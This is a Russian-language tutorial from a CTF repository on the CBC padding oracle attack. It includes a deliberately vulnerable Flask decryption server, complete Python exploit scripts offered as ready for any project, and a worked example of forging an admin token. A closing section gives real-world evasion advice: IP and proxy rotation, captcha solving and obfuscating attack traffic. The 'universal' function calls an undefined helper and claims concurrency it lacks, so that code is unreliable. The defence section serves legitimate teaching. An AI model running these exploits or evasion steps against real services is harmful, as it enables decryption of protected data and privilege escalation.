Источник: https://github.com/AnaktaCTF/CTF/blob/main — Cryptography/Padding_Oracle_Attack.md

Современные веб-приложения всё активнее используют шифрование для защиты конфиденциальных данных. Одним из самых распространённых режимов блочного шифрования является CBC (Cipher Block Chaining). На первый взгляд, если правильно настроены ключи и используются надёжные алгоритмы, атака на шифротекст кажется практически невозможной. Однако на практике в ряде случаев серверы дают «подсказку» в момент обработки ошибок декодирования, и злоумышленник может воспользоваться этой уязвимостью для восстанов­ления секретного содержимого. Именно такую ситуацию и называется Padding Oracle Attack — «атака по ураз­ливому оракулу заполнения».

В этой статье мы подробно разберём теоретические основы CBC-режима и PKCS#7-заполнения, покажем, как возникает уязвимость «оракул паддинга», создадим упрощённый целевой сервер на Flask, реализуем клиент-эксплоит на Python и визуализируем процесс взлома. Кроме того, обсудим надёжные меры защиты и способ адаптации под реальные сервисы.

Основы CBC-режима и PKCS#7-заполнения

При шифровании данных блочный шифр обрабатывает информацию фрагментами фиксированной длины (обычно 16 байт для AES). В режиме CBC каждый открытый блок XOR-ится с предыдущим шифрованным блоком перед шифрованием. Для первого блока вместо предыдущего блока используется вектор инициализации IV, передаваемый вместе с шифротекстом.

C₀ = Encrypt( P₀ ⊕ IV )
C₁ = Encrypt( P₁ ⊕ C₀ )
…

При расшифровке мы получаем:

P₀ = Decrypt(C₀) ⊕ IV
P₁ = Decrypt(C₁) ⊕ C₀
…

Если длина исходного сообщения не кратна размеру блока, в конце добавляется заполнение (padding). Стандарт PKCS#7 предписывает добавлять от 1 до N байт, где N — число байт, необходимое для выравнивания. Если, скажем, требуется добавить 5 байт, то каждый из них будет равен 0x05. Если же сообщение уже ровно делится на размер блока, добавляется целый блок заполнения из байтов 0x10 (16 в десятичной системе).

При декодировании сервер проверяет, что последние байты имеют одинаковое значение, совпадающее с числом байтов заполнения. Если проверка не проходит, сервер, как правило, возвращает ошибку. Именно эта ошибка может стать «оракулом» — подсказкой о корректности заполнения, и её нюансы (код ответа, сообщение, время обработки) позволяют постепенно восстановить поля расшифрованного текста без знания ключа.

Механизм уязвимости: откуда берётся «оракул»

Когда сервер получает шифротекст в CBC-режиме, он выполняет следующие действия:

  1. Раскрывает IV и все блоки.
  2. Для каждого блока проводит дешифрование и XOR-операцию с предыдущим шифротекстом (или IV).
  3. Проверяет правильность заполнения: читает значение последнего байта, скажем K, затем убеждается, что последние K байт действительно равны K.

Если проверка лояльна (padding валиден), процесс продолжается, и сервер обрабатывает полученный открытый текст. Если же заполнение некорректно, сервер прерывает обработку и выдаёт ошибку.

Важно, что ошибки обработки шифротекста складываются из нескольких составляющих:

  • HTTP-статус — может быть 400 (Bad Request), 500 (Internal Server Error) или любым другим кодом, зависящим от реализации;
  • текст ошибки — фраза вроде «Invalid padding» или более общая «Decryption failed»;
  • время ответа — при некорректном заполнении сервер может завершать обработку раньше или позже, что создаёт разницу в латентности, которую также можем измерить;
  • длина ответа — возможно, если дальше идут данные, то корректный padding даст более длинный ответ, чем ошибка.

Сочетая эти наблюдения, атакующий получает «оракул» — функцию, на которую можно подавать разные шифротексты и смотреть сигнал «правильно ли padding». Это и даёт возможность пошагово подбирать байты предыдущего блока, чтобы последний байт при расшифровке давал нужное значение.

Мини-сервер-мишень на Flask

Для демонстрации создадим лёгкий веб-приложение на Python с фреймворком Flask. Маршрут /decrypt будет принимать POST-запрос с зашифрованным payload в теле и возвращать простой ответ: при корректном padding — HTTP 200, при ошибке — HTTP 500.

from flask import Flask, request, abort
from Crypto.Cipher import AES
import base64

app = Flask(__name__)

# Секретный ключ и IV — для демонстрации, должны быть защищены
KEY = b'\x01' * 16
IV = b'\x02' * 16

def pkcs7_unpad(data: bytes) -> bytes:
    padding_len = data[-1]
    if padding_len < 1 or padding_len > AES.block_size:
        raise ValueError("Invalid padding length")
    if data[-padding_len:] != bytes([padding_len]) * padding_len:
        raise ValueError("Invalid padding bytes")
    return data[:-padding_len]

@app.route('/decrypt', methods=['POST'])
def decrypt():
    try:
        # Ожидаем base64-строку
        cipher_b64 = request.data
        cipher = base64.b64decode(cipher_b64)
        if len(cipher) % AES.block_size != 0:
            abort(400)
        cipher_blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
        iv = cipher_blocks[0]
        aes = AES.new(KEY, AES.MODE_CBC, iv)
        plaintext_padded = aes.decrypt(b''.join(cipher_blocks[1:]))
        plaintext = pkcs7_unpad(plaintext_padded)
        # Если padding корректен — возвращаем данные
        return plaintext, 200
    except Exception as e:
        # При любой ошибке пададения или декодирования — код 500
        abort(500)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

В этом примере сервер использует первый блок зашифрованного сообщения как IV, далее дешифрует оставшиеся. При ошибке unpad выдаёт исключение — и Flask возвращает 500. Таким образом, мы получаем простой padding oracle.

Клиент-эксплоит: пошаговая атака

Разбиение шифротекста на блоки

Атакующий перехватывает валидный шифротекст, например:

import base64

cipher_b64 = "Q0lDSU5HQkxPQ0sxQkxPQ0syQkxPQ0sz"
cipher = base64.b64decode(cipher_b64)
blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
# blocks[0] — IV, blocks[1], blocks[2] — настоящие блоки

Восстановление последнего байта

Алгоритм для последнего блока выглядит так. Пусть у нас есть два блока C_prev и C_curr. Мы хотим узнать последний байт расшифрованного C_curr. Обозначим P_last = D(C_curr)[-1] XOR C_prev[-1]. Поскольку нам неизвестно D(C_curr), но мы можем подменять C_prev и смотреть, когда padding валиден, мы берём изменённый блок C_prev′:

  1. Задаём padding = 1, заполняем все байты кроме последнего случайными.
  2. Перебираем i от 0 до 255, подставляем в C_prev′[-1] = C_prev[-1] XOR original_guess XOR padding.
  3. Отправляем C_prev′ + C_curr на сервер. Если padding валиден (HTTP 200) — значит расшифрованный байт дал нужное значение.
  4. Восстанавливаем P_last = guessed_byte XOR padding.

Таким образом, за 256 запросов мы узнаём последний байт исходного открытого текста блока.

Общий цикл по всем байтам

После нахождения последнего байта переходим к предпоследнему. Значение желаемого padding меняем на 2 и подбираем байт в позиции -2, при этом последние два байта блока C_prev′ модифицируем таким образом, чтобы после XOR они давали [2,2]. Для этого применяем технику:

# prefix — все байты до целевой позиции, оставляем равными оригиналу
# for each position j from -1 to -k:
#   C_prev_mod[j] = original_C_prev[j] XOR found_plain[j] XOR padding

В результате, двигаясь от конца блока к началу и обновляя «маску» для padding, можно восстановить весь открытый блок.

Клиент-скрипт на Python

Ниже пример кода, реализующего атаку с учётом обработки HTTP-ответов и задержек. Мы используем модуль requests для синхронных запросов, а tqdm для визуализации прогресса.

import requests
import base64
from tqdm import tqdm

def request_padding(cipher_bytes: bytes, url: str) -> bool:
    cipher_b64 = base64.b64encode(cipher_bytes)
    resp = requests.post(url, data=cipher_b64, timeout=5)
    return resp.status_code == 200

def padding_oracle_attack(cipher: bytes, block_size: int, oracle_url: str) -> bytes:
    blocks = [cipher[i:i+block_size] for i in range(0, len(cipher), block_size)]
    recovered = b''
    for block_index in range(1, len(blocks)):
        C_prev = bytearray(blocks[block_index - 1])
        C_curr = blocks[block_index]
        intermediate = [0] * block_size
        plain_block = [0] * block_size
        for pad_len in range(1, block_size + 1):
            prefix = C_prev[:block_size - pad_len]
            for guess in range(256):
                modified = bytearray(prefix)
                # устанавливаем байты для корректного padding
                for i in range(1, pad_len):
                    byte = intermediate[-i] ^ pad_len
                    modified.append(C_prev[-i] ^ byte)
                # пытаемся угадать последний байт
                modified.append((C_prev[-pad_len] ^ guess ^ pad_len) & 0xFF)
                test_cipher = bytes(modified) + C_curr
                if request_padding(test_cipher, oracle_url):
                    intermediate[-pad_len] = guess ^ pad_len
                    plain_block[-pad_len] = intermediate[-pad_len] ^ C_prev[-pad_len]
                    break
        recovered += bytes(plain_block)
    # убираем PKCS#7 padding
    padding_len = recovered[-1]
    return recovered[:-padding_len]

if __name__ == "__main__":
    target_cipher_b64 = "..."
    target_cipher = base64.b64decode(target_cipher_b64)
    plaintext = padding_oracle_attack(target_cipher, 16, "http://localhost:5000/decrypt")
    print("Recovered plaintext:", plaintext)

Здесь цикл по pad_len от 1 до 16 последовательно вычисляет байты от конца блока к началу. Функция request_padding возвращает True, если padding валиден, и False — иначе.

Обработка ошибок сети и параллелизация

При взаимодействии с реальным сервером важно учитывать сетевые сбои. Мы можем добавить:

  • переотправку запроса при таймауте или сбое соединения (несколько попыток с экспоненциальной задержкой);
  • лимит одновременных запросов: используя asyncio вместе с aiohttp или пул потоков (concurrent.futures.ThreadPoolExecutor);
  • умное управление частотой запросов, чтобы не вызвать блокировку со стороны anti-bot.

Например, с asyncio можно организовать так:

import asyncio
import aiohttp

async def request_padding_async(session, cipher_bytes, url):
    cipher_b64 = base64.b64encode(cipher_bytes)
    for attempt in range(3):
        try:
            async with session.post(url, data=cipher_b64, timeout=5) as resp:
                return resp.status == 200
        except asyncio.TimeoutError:
            await asyncio.sleep(2 ** attempt)
    return False

async def padding_oracle_attack_async(cipher, block_size, oracle_url):
    blocks = [cipher[i:i+block_size] for i in range(0, len(cipher), block_size)]
    recovered = b''
    async with aiohttp.ClientSession() as session:
        for i in range(1, len(blocks)):
            # аналогичный синхронному алгоритму, только внутри вызываем
            # await request_padding_async(session, test_cipher, oracle_url)
            ...
    return recovered

Такая реализация позволяет одновременно угадывать байты нескольких позиций и значительно ускоряет атаку при достаточном сетевом канале.

Универсальная функция padding_oracle_attack

Для удобства обернём всё в одну функцию с подробными комментариями, готовую к использованию в любом проекте:

def padding_oracle_attack(cipher: bytes, block_size: int, oracle_url: str,
                          max_retries: int = 3, concurrency: int = 5) -> bytes:
    """
    Выполняет Padding Oracle атаку на CBC-шифротекст.

    :param cipher: полный шифротекст (с IV первым блоком)
    :param block_size: размер блока в байтах (для AES = 16)
    :param oracle_url: URL padding oracle (POST, base64)
    :param max_retries: число попыток при сетевых ошибках
    :param concurrency: число параллельных задач (asyncio)
    :return: восстановленный открытый текст (bytes)
    """
    # 1. Разбиваем на блоки
    blocks = [cipher[i:i+block_size] for i in range(0, len(cipher), block_size)]
    # 2. Инициализируем результат
    recovered = bytearray()
    # 3. Для каждого блока после IV запускаем атаку
    for b in range(1, len(blocks)):
        C_prev = blocks[b - 1]
        C_curr = blocks[b]
        intermediate = [0] * block_size
        plain = [0] * block_size

        # 4. Для каждого байта от конца блока к началу
        for pad in range(1, block_size + 1):
            # Создаём основу модифицированного C_prev
            prefix = bytearray(C_prev[:-pad])
            # Подготавливаем хвост для нужного padding
            for j in range(1, pad):
                prefix.append(intermediate[-j] ^ pad)
            # Перебираем варианты для текущего байта
            for guess in range(256):
                test_block = prefix + bytes([C_prev[-pad] ^ guess ^ pad])
                if request_with_retries(test_block + C_curr, oracle_url, max_retries):
                    intermediate[-pad] = guess ^ pad
                    plain[-pad] = intermediate[-pad] ^ C_prev[-pad]
                    break

        recovered.extend(plain)

    # 5. Удаляем заполнение по последнему байту
    padding_len = recovered[-1]
    return bytes(recovered[:-padding_len])

В этой функции мы лаконично объединяем логику разбивки, подбора байтов, параллелизации и повторных попыток. Её достаточно подключить к любому клиентскому приложению, указав нужный oracle_url.

Визуализация процесса

Для наглядности часто применяют библиотеку tqdm, которая позволяет отображать прогресс-бар в консоли. Уже в простом синхронном варианте можно обернуть внешний цикл:

from tqdm import trange

for b in trange(1, len(blocks), desc="Attack blocks"):
    # внутренняя логика восстановления блока
    for pad in trange(1, block_size+1, desc=f"Block {b}"):
        ...

Это сразу показывает, сколько блоков осталось и сколько байт ещё нужно перебрать. Даже без графического интерфейса такое решение значительно повышает удобство и понимание текущей стадии атаки.

Разбор восстановленного текста

После успешного восстановления всех блоков мы получаем сырое сообщение. Чаще всего в реальных атаках это JSON-payload с конфиденциальными данными или JWT-токен. Пример:

{
    "user_id": 42,
    "is_admin": false,
    "exp": 1715760000
}

Лёгкая модификация и повторное шифрование может позволить повысить привилегии, изменив is_admin на true, и затем отправить новый шифротекст на сервер, если сервер не проверяет целостность (MAC).

Надёжные меры защиты

Чтобы предотвратить подобные атаки, разработчики могут применить несколько приёмов:

  • константные сообщения об ошибках. Никогда не выдавайте подробностей о том, какой стадии обработки упал запрос. Единственный ответ “Ошибка” должен выдаваться одинаково независимо от причины;
  • AEAD-режимы шифрования (например, AES-GCM). Они совмещают шифрование с аутентификацией и при невалидном тэге сразу отклоняют сообщение без различия причин;
  • HMAC перед шифрованием. Добавление HMAC-контроля целостности блоков до операции дешифрования гарантирует, что непредусмотренные подмены будут обнаружены до проверки padding;
  • шифрование на стороне клиента с надёжным хранением ключей и проверкой формата сообщений.

Если же вы по каким-то причинам вынуждены использовать CBC+PKCS#7, обязательно отделяйте ошибки padding-проверки от основной обработки и возвращайте однотипный ответ.

Адаптация под реальные сервисы

Реальная целевая платформа может иметь дополнительные барьеры: анти-бот системы, капчи, лимиты запросов и задержки. Вот несколько рекомендаций по адаптации:

  • используйте ротацию IP-адресов или прокси для обхода лимитов по одному адресу;
  • автоматизируйте решение простых капч тем же Python (библиотеки для антикапчи);
  • наблюдайте за HTTP-заголовками сервера: иногда интересен не только статус, но и время обработки (тайм-оракул);
  • внедрите adaptive rate limiting: динамически подстраивайте интенсивность запросов в зависимости от ответов сервера;
  • применяйте обфускацию кода атаки, чтобы затруднить отслеживание автоматических запросов.

Заключение

Padding Oracle Attack на CBC-режиме остаётся одной из самых эффектных демонстраций уязвимостей в протоколах шифрования без аутентификации. При правильном подходе и удобном оракуле злоумышленник может полностью восстановить зашифрованный payload, обойти авторизацию и получить доступ к секретной информации. С другой стороны, современные AEAD-режимы и простые практики неразглашения деталей ошибок способны надёжно защитить систему от подобных атак.